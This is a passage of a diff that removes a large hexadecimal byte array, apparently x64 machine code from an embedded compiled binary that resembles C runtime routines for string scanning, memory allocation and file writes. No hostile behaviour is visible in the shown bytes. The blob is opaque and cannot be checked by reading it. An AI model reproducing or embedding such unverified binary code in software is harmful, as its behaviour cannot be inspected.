- 0x66, 0x0f, 0x73, 0xfa, 0x05, 0xeb, 0x49, 0x66, 0x0f, 0x73, 0xfa, 0x06, - 0xeb, 0x42, 0x66, 0x0f, 0x73, 0xfa, 0x07, 0xeb, 0x3b, 0x66, 0x0f, 0x73, - 0xfa, 0x08, 0xeb, 0x34, 0x66, 0x0f, 0x73, 0xfa, 0x09, 0xeb, 0x2d, 0x66, - 0x0f, 0x73, 0xfa, 0x0a, 0xeb, 0x26, 0x66, 0x0f, 0x73, 0xfa, 0x0b, 0xeb, - 0x1f, 0x66, 0x0f, 0x73, 0xfa, 0x0c, 0xeb, 0x18, 0x66, 0x0f, 0x73, 0xfa, - 0x0d, 0xeb, 0x11, 0x66, 0x0f, 0x73, 0xfa, 0x0e, 0xeb, 0x0a, 0x66, 0x0f, - 0x73, 0xfa, 0x0f, 0xeb, 0x03, 0x0f, 0x57, 0xd2, 0x66, 0x0f, 0xeb, 0xd1, - 0x66, 0x0f, 0x6f, 0xca, 0x41, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x74, 0x34, - 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xbe, 0xc0, 0x66, - 0x0f, 0x6e, 0xc0, 0x66, 0x0f, 0x60, 0xc0, 0x66, 0x0f, 0x60, 0xc0, 0x66, - 0x0f, 0x70, 0xc0, 0x00, 0x66, 0x0f, 0x74, 0xc1, 0x66, 0x0f, 0xd7, 0xc0, - 0x85, 0xc0, 0x75, 0x1a, 0x41, 0x0f, 0xb6, 0x40, 0x01, 0x49, 0xff, 0xc0, - 0x84, 0xc0, 0x75, 0xd4, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x48, - 0x8b, 0x74, 0x24, 0x18, 0x5f, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x49, - 0x8b, 0xc0, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x5f, 0xc3, 0x0f, 0x1f, 0x00, - 0x02, 0xdf, 0x00, 0x00, 0x09, 0xdf, 0x00, 0x00, 0x10, 0xdf, 0x00, 0x00, - 0x17, 0xdf, 0x00, 0x00, 0x1e, 0xdf, 0x00, 0x00, 0x25, 0xdf, 0x00, 0x00, - 0x2c, 0xdf, 0x00, 0x00, 0x33, 0xdf, 0x00, 0x00, 0x3a, 0xdf, 0x00, 0x00, - 0x41, 0xdf, 0x00, 0x00, 0x48, 0xdf, 0x00, 0x00, 0x4f, 0xdf, 0x00, 0x00, - 0x56, 0xdf, 0x00, 0x00, 0x5d, 0xdf, 0x00, 0x00, 0x64, 0xdf, 0x00, 0x00, - 0xbe, 0xdf, 0x00, 0x00, 0xcd, 0xdf, 0x00, 0x00, 0xdc, 0xdf, 0x00, 0x00, - 0xeb, 0xdf, 0x00, 0x00, 0xfa, 0xdf, 0x00, 0x00, 0x06, 0xe0, 0x00, 0x00, - 0x12, 0xe0, 0x00, 0x00, 0x1e, 0xe0, 0x00, 0x00, 0x2a, 0xe0, 0x00, 0x00, - 0x36, 0xe0, 0x00, 0x00, 0x42, 0xe0, 0x00, 0x00, 0x4e, 0xe0, 0x00, 0x00, - 0x5a, 0xe0, 0x00, 0x00, 0x66, 0xe0, 0x00, 0x00, 0x72, 0xe0, 0x00, 0x00, - 0x7e, 0xe0, 0x00, 0x00, 0xfc, 0xe0, 0x00, 0x00, 0x03, 0xe1, 0x00, 0x00, - 0x0a, 0xe1, 0x00, 0x00, 0x11, 0xe1, 0x00, 0x00, 0x18, 0xe1, 0x00, 0x00, - 0x1f, 0xe1, 0x00, 0x00, 0x26, 0xe1, 0x00, 0x00, 0x2d, 0xe1, 0x00, 0x00, - 0x34, 0xe1, 0x00, 0x00, 0x3b, 0xe1, 0x00, 0x00, 0x42, 0xe1, 0x00, 0x00, - 0x49, 0xe1, 0x00, 0x00, 0x50, 0xe1, 0x00, 0x00, 0x57, 0xe1, 0x00, 0x00, - 0x5e, 0xe1, 0x00, 0x00, 0x65, 0xe1, 0x00, 0x00, 0x45, 0x33, 0xc0, 0xe9, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x40, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x85, 0xc9, 0x75, - 0x14, 0xe8, 0x02, 0x8b, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, - 0xe8, 0xd7, 0x89, 0xff, 0xff, 0x33, 0xc0, 0xeb, 0x60, 0x48, 0x85, 0xdb, - 0x74, 0xe7, 0x48, 0x3b, 0xfb, 0x73, 0xf2, 0x49, 0x8b, 0xd0, 0x48, 0x8d, - 0x4c, 0x24, 0x20, 0xe8, 0x68, 0x5c, 0xff, 0xff, 0x48, 0x8b, 0x4c, 0x24, - 0x30, 0x48, 0x8d, 0x53, 0xff, 0x83, 0x79, 0x08, 0x00, 0x74, 0x24, 0x48, - 0xff, 0xca, 0x48, 0x3b, 0xfa, 0x77, 0x0a, 0x0f, 0xb6, 0x02, 0xf6, 0x44, - 0x08, 0x19, 0x04, 0x75, 0xee, 0x48, 0x8b, 0xcb, 0x48, 0x2b, 0xca, 0x48, - 0x8b, 0xd3, 0x83, 0xe1, 0x01, 0x48, 0x2b, 0xd1, 0x48, 0xff, 0xca, 0x80, - 0x7c, 0x24, 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x83, - 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0xc2, 0x48, 0x8b, 0x5c, - 0x24, 0x50, 0x48, 0x83, 0xc4, 0x40, 0x5f, 0xc3, 0x40, 0x55, 0x41, 0x54, - 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x60, 0x48, 0x8d, - 0x6c, 0x24, 0x50, 0x48, 0x89, 0x5d, 0x40, 0x48, 0x89, 0x75, 0x48, 0x48, - 0x89, 0x7d, 0x50, 0x48, 0x8b, 0x05, 0xbe, 0xec, 0x00, 0x00, 0x48, 0x33, - 0xc5, 0x48, 0x89, 0x45, 0x08, 0x48, 0x63, 0x5d, 0x60, 0x4d, 0x8b, 0xf9, - 0x48, 0x89, 0x55, 0x00, 0x45, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x85, 0xdb, - 0x7e, 0x14, 0x48, 0x8b, 0xd3, 0x49, 0x8b, 0xc9, 0xe8, 0x0b, 0x20, 0x00, - 0x00, 0x3b, 0xc3, 0x8d, 0x58, 0x01, 0x7c, 0x02, 0x8b, 0xd8, 0x44, 0x8b, - 0x75, 0x78, 0x45, 0x85, 0xf6, 0x75, 0x07, 0x48, 0x8b, 0x07, 0x44, 0x8b, - 0x70, 0x0c, 0xf7, 0x9d, 0x80, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xcb, 0x4d, - 0x8b, 0xc7, 0x41, 0x8b, 0xce, 0x1b, 0xd2, 0x83, 0x64, 0x24, 0x28, 0x00, - 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x83, 0xe2, 0x08, 0xff, 0xc2, 0xe8, - 0x20, 0xc3, 0xff, 0xff, 0x4c, 0x63, 0xe0, 0x85, 0xc0, 0x0f, 0x84, 0x36, - 0x02, 0x00, 0x00, 0x49, 0x8b, 0xc4, 0x49, 0xb8, 0xf0, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0x0f, 0x48, 0x03, 0xc0, 0x48, 0x8d, 0x48, 0x10, 0x48, - 0x3b, 0xc1, 0x48, 0x1b, 0xd2, 0x48, 0x23, 0xd1, 0x74, 0x53, 0x48, 0x81, - 0xfa, 0x00, 0x04, 0x00, 0x00, 0x77, 0x2e, 0x48, 0x8d, 0x42, 0x0f, 0x48, - 0x3b, 0xc2, 0x77, 0x03, 0x49, 0x8b, 0xc0, 0x48, 0x83, 0xe0, 0xf0, 0xe8, - 0xc8, 0x2f, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, 0x8d, 0x74, 0x24, 0x50, - 0x48, 0x85, 0xf6, 0x0f, 0x84, 0xce, 0x01, 0x00, 0x00, 0xc7, 0x06, 0xcc, - 0xcc, 0x00, 0x00, 0xeb, 0x16, 0x48, 0x8b, 0xca, 0xe8, 0xf3, 0x89, 0xff, - 0xff, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x0e, 0xc7, 0x00, 0xdd, - 0xdd, 0x00, 0x00, 0x48, 0x83, 0xc6, 0x10, 0xeb, 0x02, 0x33, 0xf6, 0x48, - 0x85, 0xf6, 0x0f, 0x84, 0x9f, 0x01, 0x00, 0x00, 0x44, 0x89, 0x64, 0x24, - 0x28, 0x44, 0x8b, 0xcb, 0x4d, 0x8b, 0xc7, 0x48, 0x89, 0x74, 0x24, 0x20, - 0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xce, 0xe8, 0x7b, 0xc2, 0xff, - 0xff, 0x85, 0xc0, 0x0f, 0x84, 0x7a, 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, - 0x24, 0x40, 0x00, 0x45, 0x8b, 0xcc, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, - 0x4c, 0x8b, 0xc6, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x41, 0x8b, 0xd5, - 0x4c, 0x8b, 0x7d, 0x00, 0x83, 0x64, 0x24, 0x28, 0x00, 0x49, 0x8b, 0xcf, - 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0xe8, 0xed, 0xa6, 0xff, 0xff, 0x48, - 0x63, 0xf8, 0x85, 0xc0, 0x0f, 0x84, 0x3d, 0x01, 0x00, 0x00, 0xba, 0x00, - 0x04, 0x00, 0x00, 0x44, 0x85, 0xea, 0x74, 0x52, 0x8b, 0x45, 0x70, 0x85, - 0xc0, 0x0f, 0x84, 0x2a, 0x01, 0x00, 0x00, 0x3b, 0xf8, 0x0f, 0x8f, 0x20, - 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x45, 0x8b, 0xcc, - 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8b, 0xc6, 0x48, 0x83, 0x64, - 0x24, 0x30, 0x00, 0x41, 0x8b, 0xd5, 0x89, 0x44, 0x24, 0x28, 0x49, 0x8b, - 0xcf, 0x48, 0x8b, 0x45, 0x68, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x95, - 0xa6, 0xff, 0xff, 0x8b, 0xf8, 0x85, 0xc0, 0x0f, 0x85, 0xe8, 0x00, 0x00, - 0x00, 0xe9, 0xe1, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0x48, 0x03, 0xc9, - 0x48, 0x8d, 0x41, 0x10, 0x48, 0x3b, 0xc8, 0x48, 0x1b, 0xc9, 0x48, 0x23, - 0xc8, 0x74, 0x53, 0x48, 0x3b, 0xca, 0x77, 0x35, 0x48, 0x8d, 0x41, 0x0f, - 0x48, 0x3b, 0xc1, 0x77, 0x0a, 0x48, 0xb8, 0xf0, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0x0f, 0x48, 0x83, 0xe0, 0xf0, 0xe8, 0x94, 0x2e, 0x00, 0x00, - 0x48, 0x2b, 0xe0, 0x48, 0x8d, 0x5c, 0x24, 0x50, 0x48, 0x85, 0xdb, 0x0f, - 0x84, 0x9a, 0x00, 0x00, 0x00, 0xc7, 0x03, 0xcc, 0xcc, 0x00, 0x00, 0xeb, - 0x13, 0xe8, 0xc2, 0x88, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, - 0x74, 0x0e, 0xc7, 0x00, 0xdd, 0xdd, 0x00, 0x00, 0x48, 0x83, 0xc3, 0x10, - 0xeb, 0x02, 0x33, 0xdb, 0x48, 0x85, 0xdb, 0x74, 0x72, 0x48, 0x83, 0x64, - 0x24, 0x40, 0x00, 0x45, 0x8b, 0xcc, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, - 0x4c, 0x8b, 0xc6, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x41, 0x8b, 0xd5, - 0x89, 0x7c, 0x24, 0x28, 0x49, 0x8b, 0xcf, 0x48, 0x89, 0x5c, 0x24, 0x20, - 0xe8, 0xeb, 0xa5, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x31, 0x48, 0x83, 0x64, - 0x24, 0x38, 0x00, 0x33, 0xd2, 0x48, 0x21, 0x54, 0x24, 0x30, 0x44, 0x8b, - 0xcf, 0x8b, 0x45, 0x70, 0x4c, 0x8b, 0xc3, 0x41, 0x8b, 0xce, 0x85, 0xc0, - 0x75, 0x65, 0x21, 0x54, 0x24, 0x28, 0x48, 0x21, 0x54, 0x24, 0x20, 0xe8, - 0x6c, 0xc1, 0xff, 0xff, 0x8b, 0xf8, 0x85, 0xc0, 0x75, 0x60, 0x48, 0x8d, - 0x4b, 0xf0, 0x81, 0x39, 0xdd, 0xdd, 0x00, 0x00, 0x75, 0x05, 0xe8, 0xf5, - 0x87, 0xff, 0xff, 0x33, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x11, 0x48, 0x8d, - 0x4e, 0xf0, 0x81, 0x39, 0xdd, 0xdd, 0x00, 0x00, 0x75, 0x05, 0xe8, 0xdd, - 0x87, 0xff, 0xff, 0x8b, 0xc7, 0x48, 0x8b, 0x4d, 0x08, 0x48, 0x33, 0xcd, - 0xe8, 0x83, 0x33, 0xff, 0xff, 0x48, 0x8b, 0x5d, 0x40, 0x48, 0x8b, 0x75, - 0x48, 0x48, 0x8b, 0x7d, 0x50, 0x48, 0x8d, 0x65, 0x10, 0x41, 0x5f, 0x41, - 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0xc3, 0x89, 0x44, 0x24, 0x28, 0x48, - 0x8b, 0x45, 0x68, 0x48, 0x89, 0x44, 0x24, 0x20, 0xeb, 0x95, 0x48, 0x8d, - 0x4b, 0xf0, 0x81, 0x39, 0xdd, 0xdd, 0x00, 0x00, 0x75, 0xa7, 0xe8, 0x95, - 0x87, 0xff, 0xff, 0xeb, 0xa0, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x70, 0x48, - 0x8b, 0xf2, 0x49, 0x8b, 0xd9, 0x48, 0x8b, 0xd1, 0x41, 0x8b, 0xf8, 0x48, - 0x8d, 0x4c, 0x24, 0x50, 0xe8, 0xd7, 0x58, 0xff, 0xff, 0x8b, 0x84, 0x24, - 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x58, 0x89, 0x44, 0x24, - 0x40, 0x4c, 0x8b, 0xcb, 0x8b, 0x84, 0x24, 0xb8, 0x00, 0x00, 0x00, 0x44, - 0x8b, 0xc7, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0xd6, 0x8b, 0x84, 0x24, - 0xb0, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x84, 0x24, - 0xa8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x8b, 0x84, 0x24, - 0xa0, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x77, 0xfc, 0xff, - 0xff, 0x80, 0x7c, 0x24, 0x68, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x4c, 0x24, - 0x50, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x4c, 0x8d, 0x5c, 0x24, - 0x70, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0xe3, - 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x07, 0xbc, 0xff, - 0xff, 0x33, 0xc9, 0x84, 0xc0, 0x0f, 0x94, 0xc1, 0x8b, 0xc1, 0x48, 0x83, - 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x75, - 0x19, 0xe8, 0xb2, 0x86, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, - 0xe8, 0x87, 0x85, 0xff, 0xff, 0x48, 0x83, 0xc8, 0xff, 0x48, 0x83, 0xc4, - 0x28, 0xc3, 0x4c, 0x8b, 0xc1, 0x33, 0xd2, 0x48, 0x8b, 0x0d, 0x7e, 0x05, - 0x01, 0x00, 0x48, 0x83, 0xc4, 0x28, 0x48, 0xff, 0x25, 0x7b, 0x39, 0x00, - 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x85, 0xc9, 0x75, - 0x0a, 0x48, 0x8b, 0xca, 0xe8, 0xc7, 0x86, 0xff, 0xff, 0xeb, 0x1f, 0x48, - 0x85, 0xdb, 0x75, 0x07, 0xe8, 0x7b, 0x86, 0xff, 0xff, 0xeb, 0x11, 0x48, - 0x83, 0xfb, 0xe0, 0x76, 0x2d, 0xe8, 0x4e, 0x86, 0xff, 0xff, 0xc7, 0x00, - 0x0c, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, - 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xe8, 0x66, 0xcd, 0xff, 0xff, 0x85, 0xc0, - 0x74, 0xdf, 0x48, 0x8b, 0xcb, 0xe8, 0xe2, 0xc2, 0xff, 0xff, 0x85, 0xc0, - 0x74, 0xd3, 0x48, 0x8b, 0x0d, 0x0b, 0x05, 0x01, 0x00, 0x4c, 0x8b, 0xcb, - 0x4c, 0x8b, 0xc7, 0x33, 0xd2, 0xff, 0x15, 0xfd, 0x38, 0x00, 0x00, 0x48, - 0x85, 0xc0, 0x74, 0xd1, 0xeb, 0xc4, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, - 0x8b, 0xf9, 0x49, 0x8b, 0xd8, 0x8b, 0x0a, 0xe8, 0xa8, 0xef, 0xff, 0xff, - 0x90, 0x48, 0x8b, 0x03, 0x48, 0x63, 0x08, 0x48, 0x8b, 0xd1, 0x48, 0x8b, - 0xc1, 0x48, 0xc1, 0xf8, 0x06, 0x4c, 0x8d, 0x05, 0x78, 0xfc, 0x00, 0x00, - 0x83, 0xe2, 0x3f, 0x48, 0x8d, 0x14, 0xd2, 0x49, 0x8b, 0x04, 0xc0, 0xf6, - 0x44, 0xd0, 0x38, 0x01, 0x74, 0x24, 0xe8, 0x85, 0xf0, 0xff, 0xff, 0x48, - 0x8b, 0xc8, 0xff, 0x15, 0x98, 0x38, 0x00, 0x00, 0x33, 0xdb, 0x85, 0xc0, - 0x75, 0x1e, 0xe8, 0x89, 0x85, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0xff, 0x15, - 0x44, 0x39, 0x00, 0x00, 0x89, 0x03, 0xe8, 0x99, 0x85, 0xff, 0xff, 0xc7, - 0x00, 0x09, 0x00, 0x00, 0x00, 0x83, 0xcb, 0xff, 0x8b, 0x0f, 0xe8, 0x6d, - 0xef, 0xff, 0xff, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, - 0xc4, 0x20, 0x5f, 0xc3, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x38, - 0x48, 0x63, 0xd1, 0x83, 0xfa, 0xfe, 0x75, 0x0d, 0xe8, 0x67, 0x85, 0xff, - 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xeb, 0x6c, 0x85, 0xc9, 0x78, - 0x58, 0x3b, 0x15, 0xf9, 0xff, 0x00, 0x00, 0x73, 0x50, 0x48, 0x8b, 0xca, - 0x4c, 0x8d, 0x05, 0xed, 0xfb, 0x00, 0x00, 0x83, 0xe1, 0x3f, 0x48, 0x8b, - 0xc2, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0c, 0xc9, 0x49, 0x8b, 0x04, - 0xc0, 0xf6, 0x44, 0xc8, 0x38, 0x01, 0x74, 0x2d, 0x48, 0x8d, 0x44, 0x24, - 0x40, 0x89, 0x54, 0x24, 0x50, 0x89, 0x54, 0x24, 0x58, 0x4c, 0x8d, 0x4c, - 0x24, 0x50, 0x48, 0x8d, 0x54, 0x24, 0x58, 0x48, 0x89, 0x44, 0x24, 0x20, - 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x4c, 0x24, 0x48, 0xe8, 0xfd, - 0xfe, 0xff, 0xff, 0xeb, 0x13, 0xe8, 0xfe, 0x84, 0xff, 0xff, 0xc7, 0x00, - 0x09, 0x00, 0x00, 0x00, 0xe8, 0xd3, 0x83, 0xff, 0xff, 0x83, 0xc8, 0xff, - 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, - 0x48, 0x8d, 0x6c, 0x24, 0xd9, 0x48, 0x81, 0xec, 0x00, 0x01, 0x00, 0x00, - 0x48, 0x8b, 0x05, 0x21, 0xe7, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, - 0x45, 0x17, 0x48, 0x63, 0xf2, 0x4d, 0x8b, 0xf8, 0x48, 0x8b, 0xc6, 0x48, - 0x89, 0x4d, 0xf7, 0x48, 0x89, 0x45, 0xef, 0x48, 0x8d, 0x0d, 0xfa, 0x16, - 0xff, 0xff, 0x83, 0xe0, 0x3f, 0x45, 0x8b, 0xe9, 0x4d, 0x03, 0xe8, 0x4c, - 0x89, 0x45, 0xdf, 0x4c, 0x8b, 0xe6, 0x4c, 0x89, 0x6d, 0xaf, 0x49, 0xc1, - 0xfc, 0x06, 0x4c, 0x8d, 0x34, 0xc0, 0x4a, 0x8b, 0x84, 0xe1, 0x50, 0xe4, - 0x01, 0x00, 0x4a, 0x8b, 0x44, 0xf0, 0x28, 0x48, 0x89, 0x45, 0xb7, 0xff, - 0x15, 0x47, 0x37, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x50, - 0x89, 0x45, 0xa7, 0xe8, 0xf0, 0x55, 0xff, 0xff, 0x48, 0x8b, 0x4c, 0x24, - 0x58, 0x45, 0x33, 0xdb, 0x44, 0x89, 0x5d, 0x97, 0x41, 0x8b, 0xdb, 0x89, - 0x5d, 0x9b, 0x49, 0x8b, 0xff, 0x8b, 0x51, 0x0c, 0x41, 0x8b, 0xcb, 0x89, - 0x4c, 0x24, 0x40, 0x89, 0x55, 0xab, 0x4d, 0x3b, 0xfd, 0x0f, 0x83, 0xe2, - 0x03, 0x00, 0x00, 0x48, 0x8b, 0xc6, 0x49, 0x8b, 0xf7, 0x48, 0xc1, 0xf8, - 0x06, 0x48, 0x89, 0x45, 0xe7, 0x8a, 0x0f, 0x41, 0xbf, 0x01, 0x00, 0x00, - 0x00, 0x88, 0x4c, 0x24, 0x44, 0x44, 0x89, 0x5c, 0x24, 0x48, 0x81, 0xfa, - 0xe9, 0xfd, 0x00, 0x00, 0x0f, 0x85, 0x70, 0x01, 0x00, 0x00, 0x4c, 0x8d, - 0x3d, 0x5b, 0x16, 0xff, 0xff, 0x41, 0x8b, 0xd3, 0x4d, 0x8b, 0x8c, 0xc7, - 0x50, 0xe4, 0x01, 0x00, 0x49, 0x8b, 0xf3, 0x4b, 0x8d, 0x04, 0xf1, 0x44, - 0x38, 0x5c, 0x30, 0x3e, 0x74, 0x0b, 0xff, 0xc2, 0x48, 0xff, 0xc6, 0x48, - 0x83, 0xfe, 0x05, 0x7c, 0xee, 0x48, 0x85, 0xf6, 0x0f, 0x8e, 0xe0, 0x00, - 0x00, 0x00, 0x4b, 0x8b, 0x84, 0xe7, 0x50, 0xe4, 0x01, 0x00, 0x4c, 0x8b, - 0x45, 0xaf, 0x4c, 0x2b, 0xc7, 0x42, 0x0f, 0xb6, 0x4c, 0xf0, 0x3e, 0x46, - 0x0f, 0xbe, 0xbc, 0x39, 0xd0, 0xd8, 0x01, 0x00, 0x41, 0xff, 0xc7, 0x45, - 0x8b, 0xef, 0x44, 0x2b, 0xea, 0x4d, 0x63, 0xd5, 0x4d, 0x3b, 0xd0, 0x0f, - 0x8f, 0x78, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xff, 0x49, 0x8b, 0xd3, - 0x4c, 0x2b, 0xc8, 0x4f, 0x8d, 0x04, 0xf1, 0x48, 0x8d, 0x4d, 0xff, 0x48, - 0x03, 0xca, 0x48, 0xff, 0xc2, 0x42, 0x8a, 0x44, 0x01, 0x3e, 0x88, 0x01, - 0x48, 0x3b, 0xd6, 0x7c, 0xea, 0x45, 0x85, 0xed, 0x7e, 0x15, 0x48, 0x8d, - 0x4d, 0xff, 0x4d, 0x8b, 0xc2, 0x48, 0x03, 0xce, 0x48, 0x8b, 0xd7, 0xe8, - 0xd0, 0x44, 0xff, 0xff, 0x45, 0x33, 0xdb, 0x49, 0x8b, 0xd3, 0x4c, 0x8d, - 0x05, 0xb3, 0x15, 0xff, 0xff, 0x4b, 0x8b, 0x8c, 0xe0, 0x50, 0xe4, 0x01, - 0x00, 0x48, 0x03, 0xca, 0x48, 0xff, 0xc2, 0x46, 0x88, 0x5c, 0xf1, 0x3e, - 0x48, 0x3b, 0xd6, 0x7c, 0xe8, 0x48, 0x8d, 0x45, 0xff, 0x4c, 0x89, 0x5d, - 0xbf, 0x48, 0x89, 0x45, 0xc7, 0x4c, 0x8d, 0x4d, 0xbf, 0x41, 0x8b, 0xc3, - 0x48, 0x8d, 0x55, 0xc7, 0x41, 0x83, 0xff, 0x04, 0x48, 0x8d, 0x4c, 0x24, - 0x48, 0x0f, 0x94, 0xc0, 0xff, 0xc0, 0x44, 0x8b, 0xc0, 0x44, 0x8b, 0xf8, - 0xe8, 0xd7, 0xca, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x0f, 0x84, 0xd7, - 0x00, 0x00, 0x00, 0x41, 0x8d, 0x45, 0xff, 0x4c, 0x8b, 0x6d, 0xaf, 0x48, - 0x63, 0xf0, 0x48, 0x03, 0xf7, 0xe9, 0xe6, 0x00, 0x00, 0x00, 0x0f, 0xb6, - 0x07, 0x49, 0x8b, 0xd5, 0x48, 0x2b, 0xd7, 0x4a, 0x0f, 0xbe, 0xb4, 0x38, - 0xd0, 0xd8, 0x01, 0x00, 0x8d, 0x4e, 0x01, 0x48, 0x63, 0xc1, 0x48, 0x3b, - 0xc2, 0x0f, 0x8f, 0xe4, 0x01, 0x00, 0x00, 0x83, 0xf9, 0x04, 0x4c, 0x89, - 0x5d, 0xcf, 0x41, 0x8b, 0xc3, 0x48, 0x89, 0x7d, 0xd7, 0x0f, 0x94, 0xc0, - 0x4c, 0x8d, 0x4d, 0xcf, 0xff, 0xc0, 0x48, 0x8d, 0x55, 0xd7, 0x44, 0x8b, - 0xc0, 0x48, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd8, 0xe8, 0x6f, 0xca, 0xff, - 0xff, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x73, 0x48, 0x03, 0xf7, 0x44, 0x8b, - 0xfb, 0xe9, 0x8a, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0xeb, 0x14, 0xff, - 0xff, 0x4a, 0x8b, 0x94, 0xe0, 0x50, 0xe4, 0x01, 0x00, 0x42, 0x8a, 0x4c, - 0xf2, 0x3d, 0xf6, 0xc1, 0x04, 0x74, 0x1b, 0x42, 0x8a, 0x44, 0xf2, 0x3e, - 0x80, 0xe1, 0xfb, 0x88, 0x45, 0x07, 0x8a, 0x07, 0x42, 0x88, 0x4c, 0xf2, - 0x3d, 0x48, 0x8d, 0x55, 0x07, 0x88, 0x45, 0x08, 0xeb, 0x1f, 0xe8, 0xd9, - 0xa1, 0xff, 0xff, 0x0f, 0xb6, 0x0f, 0x33, 0xd2, 0x66, 0x39, 0x14, 0x48, - 0x7d, 0x2d, 0x48, 0xff, 0xc6, 0x49, 0x3b, 0xf5, 0x0f, 0x83, 0xb2, 0x01, - 0x00, 0x00, 0x48, 0x8b, 0xd7, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x48, - 0x8d, 0x4c, 0x24, 0x48, 0xe8, 0xa7, 0x84, 0xff, 0xff, 0x83, 0xf8, 0xff, - 0x75, 0x22, 0x80, 0x7d, 0x8f, 0x00, 0xe9, 0x8b, 0x01, 0x00, 0x00, 0x4d, - 0x8b, 0xc7, 0x48, 0x8d, 0x4c, 0x24, 0x48, 0x48, 0x8b, 0xd7, 0xe8, 0x89, - 0x84, 0xff, 0xff, 0x83, 0xf8, 0xff, 0x0f, 0x84, 0xaf, 0x01, 0x00, 0x00, - 0x8b, 0x4d, 0xa7, 0x48, 0x8d, 0x45, 0x0f, 0x33, 0xdb, 0x4c, 0x8d, 0x44, - 0x24, 0x48, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x8d, 0x7e, 0x01, 0x48, - 0x89, 0x5c, 0x24, 0x30, 0x45, 0x8b, 0xcf, 0xc7, 0x44, 0x24, 0x28, 0x05, - 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x89, 0x44, 0x24, 0x20, 